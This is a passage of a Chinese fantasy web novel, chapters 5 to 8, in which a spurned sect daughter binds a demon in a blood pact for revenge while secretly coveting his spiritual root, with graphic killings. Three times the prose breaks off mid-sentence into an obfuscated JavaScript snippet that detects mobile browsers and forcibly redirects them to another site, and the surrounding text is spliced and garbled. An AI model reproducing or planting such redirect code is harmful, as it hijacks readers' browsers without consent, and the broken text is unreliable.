怀钰微微呆滞,嘲讽般地笑出声,“你跟你算什么同伴,你是仙门之人,而我呢?” “我不信你不知道我是什么。” 程今越柔柔笑着,她抬头看着怀钰,靠他更近一步,“我知道啊,我当然知道,你是魔,但那又如何呢?” “既然你知道,你还自不量力的靠近我,我是魔,我会杀人,也会吃人。”怀钰冷冷地低头看着程今越。 他们隔得太近,彼此都能感受到对方呼吸与心跳,感受到那灼热的目光。 “我的父母,我的兄弟姐妹,也会杀人,也会吃人,你跟了我一路,你不知道吗?” 怀钰一愣,这么废物的人,竟然能够发现他的气息,察觉到自己跟了她一路。 他对程今越越发好奇,也越发忌惮她,想要杀掉她,却又不知道为何不想下手。 程今越一边说着,一边将手上的血淋淋的伤口露出,她对此好像并不感受到悲伤,“我只是他们手里的一味药材而已,为我的姐姐而生,他们随时都会杀了我,吃了我。” 她又放下手中的帕子,一步步靠近怀钰,她的脚步缓慢,像踩在怀钰的呼吸上。 她轻轻地,拥抱住了怀钰,对方浑身一怔,她听到怀钰心跳得极快,“我为你解除封印,你为我杀光他们,这个合作,怎么样?” 没有给怀钰一丝思考的余地,她继续说着,“怀钰,我们都是被所谓的神佛抛弃之人,但那又如何呢?” “现在我们已经找到了彼此,我不会因为你的血脉而产生恐惧,我能为你解除封印,我会一直站在你的身边。” “你不想那些人去死吗?你不想复仇吗?你不想让他们得到代价吗?” “我可以帮你,怀钰。” “我会永远爱你。” 她的声音轻轻柔柔,好听又带着引导性。 他的思维像是陷入了一团浓稠的迷雾之中,程今越的话恍若天外之音,飘飘渺渺地传入他的耳中,却又似乎有些不真实。 他感受到他的心脏在胸腔里疯狂跳动,一种莫名的燥热从心底涌起,迅速蔓延至全身。 他的嘴巴微微张开,想要说些什么,却又发现喉咙像是被什么东西缠住一般,发不出一丝声音。 “我会永远爱你。” “我会永远爱你?” 他有些想笑,这种骗小孩的把戏,还想要来骗他? 怎么可能会有人爱他? 这个满口谎言的神女,简直罪该万死。 “和我订血契吧,怀钰。” 程今越将食指划破,一滴血从她的指尖滑出。 她竟然敢跟他订血契? 制定血契之后,契约内容必须一直保持,如果有一方违背,那一方就会立刻七窍流血,魂飞魄散。 程今越说要永远爱他,而他仅仅只是需要帮她报仇? 怀钰瞬间大笑起来,将自己的血与程今越的血融合在一起。 他念着咒语,血契在逐渐形成着。 他浑身激动得颤抖,他马上就要看到这个伪善的神女七窍流血的模样了。 他抬起头,兴奋地看着程今越,眼眸中带着病态的笑意。 一瞬间,血契而成。 而怀钰的笑意瞬间停滞。 程今越不仅没死,还垫起脚,笑着,在他的脸颊,轻轻落下一吻。 5.第五章 怀钰一把猛地推开程今越,她瞬间被撞在桌子上,连带着桌子一起被推倒在地上,桌上的花瓶也掉落在地上,碎了一地,声音刺耳而剧烈。 程今越见状立马撤掉身上环绕保护着的灵力,让头狠狠地磕在墙根的棱角上,鲜血从额头汩汩而出,她吃痛地叫出了声。 “别碰我,我最讨厌别人碰我,如果你再碰我一次,我马上就杀了你。” 怀钰低头看着躺在地上的程今越,仿佛没有看到她额头上的鲜血一般,深色的眼底全是厌恶与嘲讽。 说完,他又愣了一下,他这时才反应过来,自己已经不能杀掉程今越了,他与程今越建立了血契,在契约还未完成之前,他们双方的生死是绑定的,如果程今越死了,怀钰也要跟着死。 “三小姐,你怎么了,要我来帮你吗?”巨大的声响吸引了守在门外的两名贴身侍女。 程今越心头一紧,刚想要开口,怀钰却已经打开了寝宫的门。 两人匆匆忙忙走进寝宫,一地狼藉刚映入眼帘,心中的疑惑刚要说出口,却发现自己已经说不出话了。 她们瞪大了眼睛看着病态笑着的怀钰,随后两个头颅从躯体上滑落,滚到了地上,鲜热的血液喷涌而出,将寝宫染红,血腥气弥漫在屋内。 程今越心跳得极快,她眼眸瞪大看着怀钰,瞬间失去了呼吸,背后一阵冷汗,她低低的喘着气,压制住心中的情绪。 出招快准狠,她甚至没能看清这两人是怎么死的,强得可怕。 怀钰看着程今越脸上的表情,瞬间大笑起来,猖狂的笑意在程今越耳边响起,“你倒是还挺能装,害怕就哭出来吧,我不会把你怎么样的。” 怀钰能感受到程今越的恐惧,他喜欢这种感觉,喜欢将所有人的命都握在自己手里面的感觉。 程今越抬眸看着怀钰,嘴角竟然依旧挂着笑意,眼中没有起什么波澜,“怀钰,我说过了,我会爱你,不是吗?” “所以你想要做什么,我都会支持,我都会包容的。” 但现在,怀钰觉得这种掌握感出现了漏洞。 明明他感受到了程今越的恐惧,但她却没有死于血契之下。 按理来说,他是一只魔,杀人如麻,恶贯满盈,程今越会讨厌他,恐惧他,厌恶他。 而偏偏不会是喜欢他,爱他。 血契的内容不容更改,就算是他,如果一旦起了不帮程今越复仇的念头,他便能感受到自己的心脏立马要被挤压破碎。 怀钰突然觉得自己如此愚蠢,居然和这个废物做了交易,除了一身的血有点用以外,其他的地方,从头到尾都是没有一点用处。 为了那一个可笑的承诺,他竟然一时间昏了神,竟然还真的答应了这个血契。 他低头看着脸色苍白的程今越,眼眸中是不加掩饰的恶意。 怀钰虽然瘦削,但仍旧比程今越高出两个脑袋,他低头俯视程今越时,更像是猛兽在看一只小白兔。 程今越抬眸与他对视着,眼中的笑意不减。 这对怀钰来说太陌生了,为什么会是这样的眼神。 为什么会是温柔的,善良的,澄澈的眼神? 他好像从出生开始,就从来没有感受到过这样的眼神。 因为他身上流的是魔种的血,天生就会对其他人产生压迫,让他人产生厌恶。 可程今越为什么偏偏不受这个影响? “我杀了你的侍女。”怀钰再一次强调。 “我知道。”程今越点点头。 “你不愤怒?” “我为什么要愤怒,怀钰跟她们比起来,更重要,不是吗?” 程今越从地上缓缓站起来,她看着地上一地狼藉,但却没有在她的眼睛里面看到一丝怜悯。 “我跟你之前从不相识。” “是,但我已经认识你很久了,只是你不认识我而已,怀钰。” 怀钰皱眉,疑惑地看着程今越。 “不然我是怎么找到你的呢?不然我为什么要千里迢迢来到平城找你呢?我耗尽了很大的胆量,才鼓起勇气来找你。” 程今越依旧是柔柔地笑着,脸上找不出一丝撒谎的痕迹,她的眼眸澄澈,让人想到高山上的洁白的雪,无法玷污。 怀钰一向对人的情绪非常敏感,可在此刻,他竟然无法分辨程今越的话究竟是真的还是假的。 “真的吗?”他不知道自己为什么会问出这个问题,明明知道答案是什么,却还是问出了这个愚蠢的问题,好像是在问程今越,又好像是在嘲讽自己。 “真的。”程今越眨眨眼睛。 真的? 说谎话当然是九分真一分假。 她的确是早早就注意到了有只魔在三界之间到处逃窜,杀人如麻,犯下罪孽无数。 她在人间四处询问他人,终于得到了怀钰的一些生平线索。 程今越喜欢这样落入深渊,见不到光明的人,她喜欢来做这一道光,她喜欢看到对方崇敬的目光,她热烈地追逐着这种感觉,好像是有蛊一样,让她忍不住一直去做这件事。 悲惨的童年,魔族的血统让他没有朋友,无人教诲所以犯下错误无数。 但他偏偏强得离谱,同时没有任何势力依附。 这样的怀钰,做她手里的刀实在是太合适不过了,程今越如今最缺的就是一把锋利的刀。 她有足够的耐心去驯服这样一条乖戾的狗。 就算是头破血流。 因为过程,其实也足够有趣。 不过,更重要的是怀钰身上那强大的力量,总是让程今越移不开眼睛。 从程今越远远眺望到怀钰之时,她便感知到那滚烫的灵根。 程今越的心从来没有跳得那么快过。 便只是轻轻一探,她便能知道,这是世上最适合她的灵根。 仿佛天生下来就应该属于她。 长明族人生下来便只有一身废物的灵根,唯一的解决办法就是换灵根。 可偏偏长明族又拥有了一身世间最强的血,普通的灵根根本没办法适应身体。 所以程今越一直在找,找最适合她的,最强大的灵根。 近百年的时间,程今越都在寻找着,百年的黑暗之中,怀钰带着一道光出现了。 那瞬间的兴奋,程今越现在都忘记不了,她浑身都在颤抖,笑容止不住地上扬,眼眸不住地睁大。 她只要看见怀钰,心就忍不住为他跳得越来越快。 这怎么不算是一种另类的爱呢? 怀钰看着程今越,眼眸复杂。 他还是不愿意相信程今越。 毕竟按照结果来说,怎么会有人爱他? 爱是什么?他值得别人去爱吗? 这显然是不值得的。 程今越的目光落在他的身上,她的眼睛一眨不眨,这眼眸好像是灼热的火,要把怀钰看穿。 他觉得自己好像已经赤/裸,从血肉到心脏,都已经被程今越看透。 他浑身燥热,有些不适,他却不知道自己为什么会这样。 “你给我取的这个名字蛮难听的,我不喜欢。你说谎真的张口就来,真不知道你骗了多少人。仇我会帮你报的,你最好也想一想你自己的承诺能不能做到。别这样一直看着我!” 他不知道自己在说什么,只觉得头脑有些发热。 他越发后悔,自己怎么会跟这个蠢货做交易。 不过这对他来说倒也无所谓,待他的实力恢复了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14573921|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为程今越复仇,杀几个仙门里的人,又有什么难的? 反正他到哪儿都要杀人,多杀几个人对他来说也是随手的事。 等血契完成之后,再把程今越杀了也不迟。 程今越突然走到他的身前,将自己的手掌割开,血液一滴滴的漂浮到了空中。 怀钰疑惑着看着她。 “我就是长明族人。”程今越笑着。 其实怀钰也曾怀疑过,但长明族人在这世间都死得差不多了,倒没有想到程今越真的是长明族人。 怪不得程今越能够解开他身上的封印,他就说程今越这样一个拥有废物灵根的人怎么能够解开他身上的封印。 怀钰解开了身上的魔气庇佑,让程今越的血能够透过他的皮肤进入他的体内。 他感受到自己身上的封印逐渐松动起来,浑身的力量开始涌动起来,伴随着程今越的血在不断翻滚着。 但他身上的封印,当时可是足足用尽了一整个长明族人的血来封印,并且还运用了各种强大的法器加固,程今越又能为他做到什么程度呢? 他看着程今越越来越苍白的脸色,眉头轻挑,漫不经心地看着她。 “你再给我解封印,你就要死了。” 怀钰感受到程今越的呼吸越来越沉重,连她脸上常挂着的笑容都要不见了。 但程今越还没有停下。 每一次解除封印,一定要达到一定层次,不然就会前功尽弃,所以她不能停,她需要怀钰帮她去复仇,她要让这群人都去死。 她快要不能呼吸,疼痛与窒息席卷而来。 而怀钰只是冷眼旁观,就像是在看着角斗场里的两人死斗,争得头破血流,看着眼前血腥的一切,不仅没有愤怒,反而是兴奋得要笑出声来。 程今越今日已经给程蕴知放血做了药丸,本就疲惫,如今又要为了他解除封印,已经要因为失血过多而死了。 怀钰不懂,程今越为什么要这样做? 他明明只是程今越身边的一个陌生人,程今越可以骂他,恨他,诅咒他,将剑狠狠插/入他的胸膛之中,但他不明白程今越为什么要拼了命去帮他解除封印。 他心中惊奇,呆愣在原地,看着程今越眼上的汗珠,看着她微微喘着气。 好像是听到怀钰的笑声,她也竟然忍不住笑起来,“我愿意为你而死,不好吗?” 怀钰第一次觉得一个人像疯子。 他想起程今越说的话。 她说说,“我会永远爱你。” 难道说,这就是,“爱”? 那这岂不是最没用东西,一个人竟然会为了另外一个人要死不活,人怎么会愚蠢到这种地步,他是绝对不会去爱一个人的,怀钰不能理解。 解除封印仪式结束,程今越脸色苍白得好像快死了,她却还是笑着,像山中的鬼魅,竟然有些诡异。 怀钰感受到程今越的血在自己体内温热地流淌,和自己的血液纠缠在一起,两股血暧昧地流淌在一起,最后汇在一起,宛如同一母亲肚中出生一般的吻合。 这让怀钰头脑空空,他有些诧异。 不应该这样,不应该会有人能与他的气息吻合。 为什么会这样呢? 这种感觉让怀钰有些新奇,烦躁,欣喜,愤怒,厌恶。 程今越摸出自己的一滴血,放在怀钰的手上。 她眼中的笑越发深沉,让怀钰不知为何,浑身一震。 程今越最终倒在了怀钰的怀中,怀钰眼眸瞪大,他一边感受到程今越温软的身体,一边听到了自己的心跳。 他茫然地看着四周,愣了好久。 他感觉最近的天气有些冷,好像有风吹进了窗户,殿外的风铃在泠泠作响。 6.第六章 程今越醒来的时候,自己已经躺在床上了。 她坐起身来的时候,头上传来微微的疼痛,口中还有淡淡的血腥味,有着怀钰的气息。 寝宫内的两颗人头也被收拾干净,鲜血都看不见了,破碎的花瓶碎片也被人打扫干净了,屋内甚至连血腥气都没有了,好像方才两具尸体没有存在过一般一样。 就是不知道是谁做的。 或许是其他的侍女进来看时,顺便就收拾了。 毕竟在大衍剑宗,死两个侍女,实在是太稀疏平常的事情了,没有人在意她们的死活,也没有人在意她们的死因。 顶多会让进来的人吓一下,然后便平稳地将尸体清理干净。 这也挺好的,毕竟程今越连借口都不需要找,也不需要掩人耳目。 程今越一觉睡到了天亮,过度的失血让她有些头晕,她走出寝宫的时候,外面的侍女已经机灵地端上来洗漱的帕子,桌上的饭菜也陆续端了上来。 程今越没有看饭菜,只是将手中的血色珠子拿出来,手中术法一挥,血色珠子便成了一个简单的耳坠,她再一挥手,耳坠变成了一模一样的一对。 她轻轻地将怀钰的血珠挂在自己的左耳,再将另一个普通的珠子放在右耳。 程今越的脸色还很苍白,一对血红的珠子衬得她的肤色如雪。 “三小姐,真少见您戴红色的耳坠,格外的配您呢。”身旁的侍女凑了上来,笑着说。 程今越抬头,发现她的气息有些陌生,原来是新来的侍女。 程今越现在的心情不错,便觉得她活泼开朗,话也算多,给这冷清的院子倒是添了几分活力。 就是不知道能活多久。 “这是我极好的朋友送我的,所以今日便戴上了。” “想必此人对三小姐很重要吧,奴婢可真是羡慕他!” 婢女的话落,程今越便感受到自己身边熟悉的气息再次传来,阴湿的目光再次落在了她身上,好像是火在燃烧一样。 程今越遣散了所有的婢女,这是三小姐一直以来的规矩,她喜欢清净,吃饭的时候更喜欢一个人,所以众人全部退去,只留下程今越一个人。 程今越感受着四周的气息逐渐远去,只有最灼热的那一道气息还在四周藏匿着。 “怀钰,要一起吃饭吗?” 没有人理她,但程今越能够感受到那道阴湿的目光没有消失,反而变得更加浓郁。 她轻轻一笑,伸手攀上洁白的耳垂,手指细细地摩挲着她右耳垂挂着的那一颗血色的珠子,“求你了,可以吗?” 一道高大而瘦削的身影出现在程今越面前,如一道阴影,将程今越整个人都笼罩其中,魔种天生的戾气带着极强的压迫感,程今越不免浑身有些颤栗。 她轻轻抬眸,对上怀钰那一双墨一般的眼眸,她往怀钰身边靠着,眼中带着笑,“好吗?” 尽管程今越离怀钰还有一些距离,但程今越却感觉到怀钰整个人都散发着热气,她甚至能感受到怀钰灼热滚烫的血液,和常年浑身冰冷的程今越形成鲜明的对比。 “你真的很蠢,我早就说过了,我是魔,我不吃这些东西,我只吃人。”他居高临下看着程今越,声音冰冷,凉得如地窖一般,还带着一丝嘲讽的意味。 程今越轻轻摇了摇头,“这些都是灵草做的,对身体有裨益,要吃人的话,一会儿我们再去吃,好不好?” 她伸出冰冷的手,牵起怀钰的滚烫的手,怀钰好像浑身一怔,心脏好像被什么烫到了一般,连忙甩开程今越的手,但这一次的力度还算控制,程今越还稳稳地站在原地。 “我不是告诉过你,不要碰我吗?我说了,我不喜欢别人碰我!”他皱着眉,身上的杀气散开,让院中的树上的鸟都停住了鸣叫。 程今越好像没有感到到他的厌恶,也没有听到他的话一般,再次伸出手,用纤细的拇指和食指捻住怀钰的衣袖。 “同伴之间,都是要一起吃饭的,我真的很想和怀钰一起吃饭。”她再次抬起她的眼眸,对上怀钰的双眸。 怀钰在接触到程今越的目光时,好像是被刺到一样,连忙躲开她的目光。 他莫名其妙地有些烦躁,都告诉程今越不要碰自己了,可她为什么总是记不住! “你以后不许盯着我看。”他最终还是坐在了程今越对面。 程今越伸出头,盯着他的脸,神情疑惑,一双眼睛瞪着看着他。 “为什么?” 为什么? “闭嘴!”怀钰沉沉地低下头,躲着程今越的眼眸。 “你再看我,我就杀了你!” 话刚一说完,他又才反应过来,自己已经不能杀程今越了。 他坐在椅子上,却感觉如坐针毡,他从来没有和人一起吃过饭…… 他又何止是没有和别人一起吃过饭,他还从来没有和别人牵过手,从来没有和别人拥抱过,从来没有被人用那样的目光直视过。 程今越的眼睛很特殊,她的眼睛总是笑着,像是寂寥的春天,雾蒙蒙细雨之后,带来曼妙的青色,让人忽略其中的春寒料峭。 像是湖水,寂静而广阔,在沉稳的同时,用水面湿润的水汽一点点打湿对方,让人不知不觉便被它吞噬。 静悄悄地,不知不觉地,温柔地,锋利地。 但怀钰没有被人那样注视过,他不知道那是什么,就像刚出生的婴儿一般,并不知道什么叫做母亲,直到感受到那温暖而可靠的怀抱。 怀钰思绪越来越乱。 程今越她怎么敢…… 她明明只是一个灵根垃圾的废物! 为什么她不会害怕身为魔的自已? 还敢和他一起吃饭。 等血契一结束,他就马上把程今越杀了! “我们干脆直接一点不好吗,别在这里装你这道貌岸然的菩萨了,你其实很希望我死吧。” 少年看着程今越,他的眉眼被碎发遮住,殷红的唇笑着,显得凉薄。 “你想要我怎么做,你直说不就好了,杀谁?什么时候杀?要他怎么死?”他摊开手,漫不经心地说着,话里话外都带着轻佻。 但程今越却仿佛没有听见一般,眼中的笑意越发浓厚,她只是静静地为怀钰一直夹着菜,分明这是她提出的要求,但她对此好像并不在意。 怀钰一直等着程今越的回答,可偏偏程今越就是不说话,让他浑身有些不自在。 他不断抬头看着程今越,显得有些着急。 可他又突然反应过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588327|155328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又不是自己的仇人,自己那么着急干什么? 他顿时觉得自己有些吃瘪,心中一顿愁绪,只好随便夹了菜开始吃。 怀钰随便吃了两口,便觉得这些菜索然无味,清淡得好像没有味道一般,程今越更是吃得极少,随意吃了两口后便开始吃糕点。 他随便吃了一口糕点,差点没被甜腻死。 他心中更为愤怒,一把将桌上的菜扫到了地上,传来一阵盘子破碎的声音。 “这么难吃的饭菜,你竟然也能咽得下去。”怀钰突然站起身来,神情不满,下一刻仿佛就要将桌子掀翻。 他又突然一笑,“不过倒也是,你无非就是个别人养的宠物罢了,又能够吃多好的东西呢?” 眼前的动静并没有让程今越有任何的神情变化,她好像没有看到一般,只是静静地抿着茶,端坐原地,轻轻的说,“的确如此。” 怀钰顿时哑口无言,想要说什么,却发现程今越又伸手在抚摸着她右耳的血珠。 她用指尖轻轻揉搓着,又用指甲拨弄着,血色的珠子衬得她肤色雪白。 怀钰知道那时自己身上的血。 他不知道为何,身上的体温越来越高,甚至脸颊也开始热起来,他脑子里面突然变得一片模糊,脑海中只有程今越白皙的手指。 可能是因为最近天气的原因,他觉得有些热,他的手指间莫名其妙传来那一道冰冷,程今越手指的触感在他的手间不断回忆着,好像是黏腻的雨,怎么样都洗不去。 让他想起昨晚,他站在床边看着程今越的场景。 程今越的样貌温柔,脸只有巴掌大小,他记得别人都喊她叫“大衍神女”,虽然不是很想承认,但程今越的样貌的确是他见过最像菩萨的。 无论是她如柔顺及腰散布在枕边的长发,抑或是脖间青色的血脉,白如雪的肌肤,从精巧的脸,到细长的手,最后到如玉的足腕…… 怀钰瞬间猛地呼吸了一口,想要将脑海中关于程今越的全部都甩开。 程今越真的太恶毒了,占据了他那么多的第一次,他不知道为何,总是甩不开程今越的记忆。 可偏偏此时他的耳边却又传来程今越的声音,“怀钰,你不舒服吗?” “我怎么会不舒服,别在这里假惺惺的。”怀钰冷笑。 “怀钰,很感谢你能将我的事情放在心上,但是我更关心你的身体,你现在的法力还在封印之中,强行使用过多的法力会伤害你自己,我不想你受伤。” 程今越的声音如水一般,缓缓流淌在怀钰的耳边。 她侧着脸,玩弄着耳坠,低垂着眸,继续说着,“况且要杀大衍剑宗的宗主一家,还是有些困难,虽然宗门是在走下坡路,两位继承人又都是废物,但是依旧不可小觑,不是现在的我们可以比拼的。” “哼,那只是你自己罢了,给我三天,我能把他们全杀了,就算杀不了,打个半残应该也不成问题。”怀钰不在乎地喝了桌子上的一口茶,随后皱着眉头摔倒了地上。 他看着地上,又忍不住抬头看一眼程今越的耳坠,又用手捻着地上的盘子的碎片,时不时瞥一眼,又迅速将目光收回。 “是,怀钰真的很厉害,但是杀了之后呢?”程今越缓缓站起身,抬眸看着怀钰。 7.第七章 察觉到程今越的目光,怀钰立马转过身,不想与那一双眼睛对视。 “杀了就杀了,又能怎么样呢?”他冷笑着,身上的恶意毫不掩饰。 程今越微不可查地轻笑一声,她倾身朝背对着她的怀钰走去,在怀钰看不见的视线里,她将怀钰从头到尾扫视了一遍。 “你能活下去吗?大衍剑宗弟子无数,这是个血脉支撑的世家,若是你运气好,将宗主一家杀了也就算了,你被冠上通缉令,没有解开封印的你,又能在到处长眼睛的世间活多久呢?” “当然,我会替你收尸的。” “想要被装进棺材,有个栖所,还是要一把火烧了化成灰,洋洋洒洒地飘在江上呢?” “但是我猜,连尸首都不会留给我吧。” 程今越的声音清冷,不急不慢,如清风一般徐徐地说着,话中依旧如往常一般带着笑,但又和平日的感觉不一般,看不见程今越的脸,便觉得这人应当是悲悯中带着一丝冷淡。 “不过,若是你运气不好,还没将人杀了,自己就已经走到末路了,这不值当,怀钰。” 她轻轻摇头,及腰的发丝跟随着她的动作摇晃着。 “这跟你有什么关系呢?你不是想要他们死么,我将他们杀了,不就满足了你的愿望了么,你关心我的死活做什么?” “更何况,若是我死了,岂不是更好,你的血契解了,也不用帮我做事了,这不好吗?” 怀钰戏谑地笑着,他是真搞不懂程今越要做什么。 他最讨厌的就是程今越这种人,道貌岸然,口是心非。 “可我不想你死,怀钰。” “你对我很重要,你应该好好地活着,开心地活着。” 她突然靠近怀钰,从背后紧紧抱住了他。 怀钰浑身一怔,整个人僵住了,好像一块硬床板。 他想要说话,可一时间忘记了要说什么。 程今越靠他靠得太近了,她身上的淡淡的香味在怀钰的鼻腔里萦绕,这种温柔的感觉让怀钰的某种东西瞬间死灰复燃,瞬间点燃他的灵魂,就像一阵风卷起漫天飞舞的黄沙。 “我们还有,很多,很多,很多的时间,我们可以慢慢来。” “别着急,这条路上并不孤单,我有你,你有我,不是吗?” 这是第一次程今越抱住怀钰,怀钰没有立马推开她。 “我们”? 这个词好陌生,虽然怀钰知道这个词语,但是这是第一次,他这个人被饱含在“我们”之中,虽然程今越总是这样对他说。 他也值得吗? 他这种人也值得吗? 怀钰突然产生了一种错觉,好像程今越并没有在骗他。 程今越那一双眼睛,是他见过最澄澈的,这样的人,怎么会骗他呢? 怀钰的体温高得离谱,一股热气从他的身上散开,程今越能感受到他健壮的肌肉,宽厚的肩膀,他手上的青筋微微绷起,喉结滚动着,她只能看他的分明的下颌线在紧绷着。 程今越心中莫名有些坏的想法,她嘴角的笑越发浓郁,可还没有等她行动,怀中的热炉在眨眼之间就消失在了眼前。 程今越觉得天真蓝,她笑出了声,回味着怀中的温暖,遐想着一些其他的事情。 她将怀钰的气息记得更加牢固了。 强大精壮的灵根,总是让她移不开目光。 * 练心宫前,一群弟子下了课。 上课的老师名叫孟朝,是大衍剑宗天才般的人物。 年纪不大,风华正茂,少年意气,眼眸坚韧,带着一丝傲气。 他进入大衍剑宗的时间不长,方进来的时候,平平无奇,偏偏这些年进步非凡,如今一跃便要成为剑宗的新一代之首。 之所以平平无奇,更多指的是他的身世。 孟朝出身仅仅是平民,没有任何身份背景的人,在大衍剑宗,几乎没有人会看好他。 没有家族给予的灵药法器,在修行的路上可谓是极为艰难。 况且孟朝生性清高,不愿意同这些纨绔子弟同流合污,更是遭受排挤。 可孟朝却偏偏从一群世家子弟里面冲出一条血路,一跃在弟子比试大会中成为第一,如今更是突飞猛进,剑宗更是让他做讲师,为新来的的弟子讲课。 孟朝有本来就有一副好皮囊,加上修为出众,爱慕他的女子便多了起来。 出众就意味着要面临诋毁。 宁志业远远地看了孟朝一眼,眼睛眯成一条缝,死死地盯了一眼孟朝,不屑地笑着,“孟朝真好意思站在台上,也就他的脸皮这样厚了,他怎么走到这个地步的,谁还不清楚么?” 宁志业的家世不算多好,甚至在大衍剑宗里面,算是最下等的,因为出身的原因,一直以来受了不少欺负。 可之后宁志业却发现,孟朝的身世比他还要低等。 物以类聚,人以群分。 跟宁志业身世差不多的人以他为首,组了一个小团体聚在一起,站在练心宫的门前,毫不掩饰地讨论着。 “宁哥说的是,一个平民出身的贱种,怎么会比长公子的修为都还高,真是不害臊。” “功法和法器都没有,还爬到了现在的位置,我是做不到像孟朝公子那样,去低三下四地求别人要东西,真不知道用了什么下三滥的手段呢。” 他们围在一起,眼神鬼鬼祟祟地四处瞟,边说边用手夸张地比划着。 “是啊,我听说,前几天,孟朝才被长公子狠狠教训了,笑死我了。” “真的假的?” “当然是真的,你可不知道,我们的孟朝公子差点被长公子打死了,哈哈哈——” 一众人的声音张扬而刺耳,目光不断地瞟向孟朝的方向,生怕孟朝听不见。 因为就算听见了,孟朝也拿他们没办法,毕竟大衍剑宗的长公子程望,摆了明地讨厌孟朝。 就算这样张扬地骂他,也有长公子为他们撑腰。 孟朝自然是听见了,但他也只是轻轻地皱眉,向另一条路走去,嘴唇微抿,淡然地往前走着。 不过他走路的步伐有些怪异,好像是腿瘸了一般,走起路来微微颤抖。 正如宁志业这群人说的一般,孟朝在前几日被程望打了,程望早就看孟朝不爽了,这次终于喊了几个侍卫将他拦住。 但孟朝可不是软柿子,他凭什么让其他人这样打,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怀钰的声音恍若鬼魅,在程今越的耳畔响起,魔气在程今越的脑海里萦绕着,催促着程今越的行动。 但程今越还是没有动作,只是站在门口,任由风轻轻吹拂她的长发,任由发间唯一的簪子上的吊坠轻轻摇晃。 随着孟朝那一拳狠狠落下,宁志业尖锐的叫声响起,愤怒的声音大吼,“孟朝,老子看你疯了,你他妈居然敢打我,我弄死你!” 宁志业发疯似的从地上爬起来,抽出身上的剑就朝孟朝捅过去,这对孟朝来说完全不够看,他直接握住宁志业的剑,一把将剑折断,鲜血从他的手掌滑落,一滴滴落在地上。 孟朝一把将宁志业踩在脚下,“我告诉你,说我可以,说三小姐,不行。”他的话一顿一顿,眸中全是怒意,随时要将他的理智点燃。 “哈哈哈,这实在是太有意思了,神女殿下,你养的狗在帮你出气呢!”怀钰的笑声在程今越脑海里响起。 程今越没有理会怀钰,轻轻地迈进练心宫,站在所有人面前,瞬间所有人一愣,猛地低下头,朝程今越问好。 “孟朝公子,别这样。” 8.第八章 程今越一向穿得素雅,黑色的长发只用一根簪子盘起,她的头发又长长了,从腰间快要蔓延到臀部,在繁杂的练心宫中,她仿佛不染尘埃。 孟朝抬头看见程今越的时候,心突然愣了一下,他不自觉地擦了擦自己手上的血,因为他记得三小姐喜欢干净。 虽然众人都知道程今越只是个不受宠的女儿,但无论如何,程今越都是大衍剑宗名正言顺的三小姐,只要她一句话,这里所有的人都可以去死。 程望和程蕴知便常常做这样的事情。 可程今越从来都是养在深闺,一般不出来与人见面,更不要提来练心宫,有的人甚至没有见过她,只是听闻程今越与其他两位少主都不同,她面若观音,心地善良,凡是见过她的人,都知道她极好相处。 程今越没有说话,只是微微歪着头看着宁志业,眼中带着微微的疑惑,眼眸中没有一丝愤怒,好像这是一件与她没有关系的事情。 四周一片寂静,主子没有说话,其余人一句话也不敢开,都低着头,如小鸟一般。 “大家没有必要这么慌张,我只是随便走走而已。” 程今越的声音平淡清冷,如传闻中一般,性格温柔。 众人顿时放松,抬起头来。 孟朝看着程今越,滚了滚喉咙,最终只说了一句,“三小姐,这人辱骂你。” 程今越点了点头,“嗯,我都听到了。” 她轻飘飘的一句话,却让宁志业浑身一颤。 不是说程今越今天去人界了吗,为什么她会在这个地方? 他的消息不可能有错! “三小姐,三小姐,不是您想的那样!您听我解释!”宁志业立马爬到程今越脚边,他脸上的血滑到手上,让程今越裙摆沾上了鲜血。 这在孟朝的眼睛里面格外醒目。 “你别碰三小姐!”孟朝正要一脚踢开宁志业,却被程今越阻拦住。 “别这样,孟朝公子。”程今越朝孟朝一笑,孟朝这才朝宁志业冷哼一声,走到一旁。 宁志业凉了半截的心瞬间又有了希望,他顿时笑起来,脸上的肉堆在一起,“三小姐,小人一时失了智才这样说话,哦,三小姐,我是被人教唆才这样说的,我根本就不是这样想的,三小姐!” 程今越一直都站得笔直,像庙堂上端庄的观音一般,她只轻轻地低头,与宁志业瞪大的双眼对视着,宁志业奉承地笑着,像一条狗一样在点头哈腰,他抱着程今越的腿,等着程今越说话。 程今越倾身看了看宁志业,嘴上带着笑,眼眸中却没有过多的感情,她没有说话,好像在思考着什么,像是在打量着一个物件。 四周所有的气息都随着程今越的动作而停滞着,只要她不开口,强烈的压迫感就让四周所有人不敢呼吸。 “三小姐,你别相信他,他就是一个恶人,拉帮结派,欺负弱小,目无法纪!”孟朝指着宁志业,死死地说着,话中带着无限的愤怒。 “神女殿下,你养的狗可真忠诚,我觉得你们两个可真般配呢。”怀钰在程今越的耳朵里不断说着话。 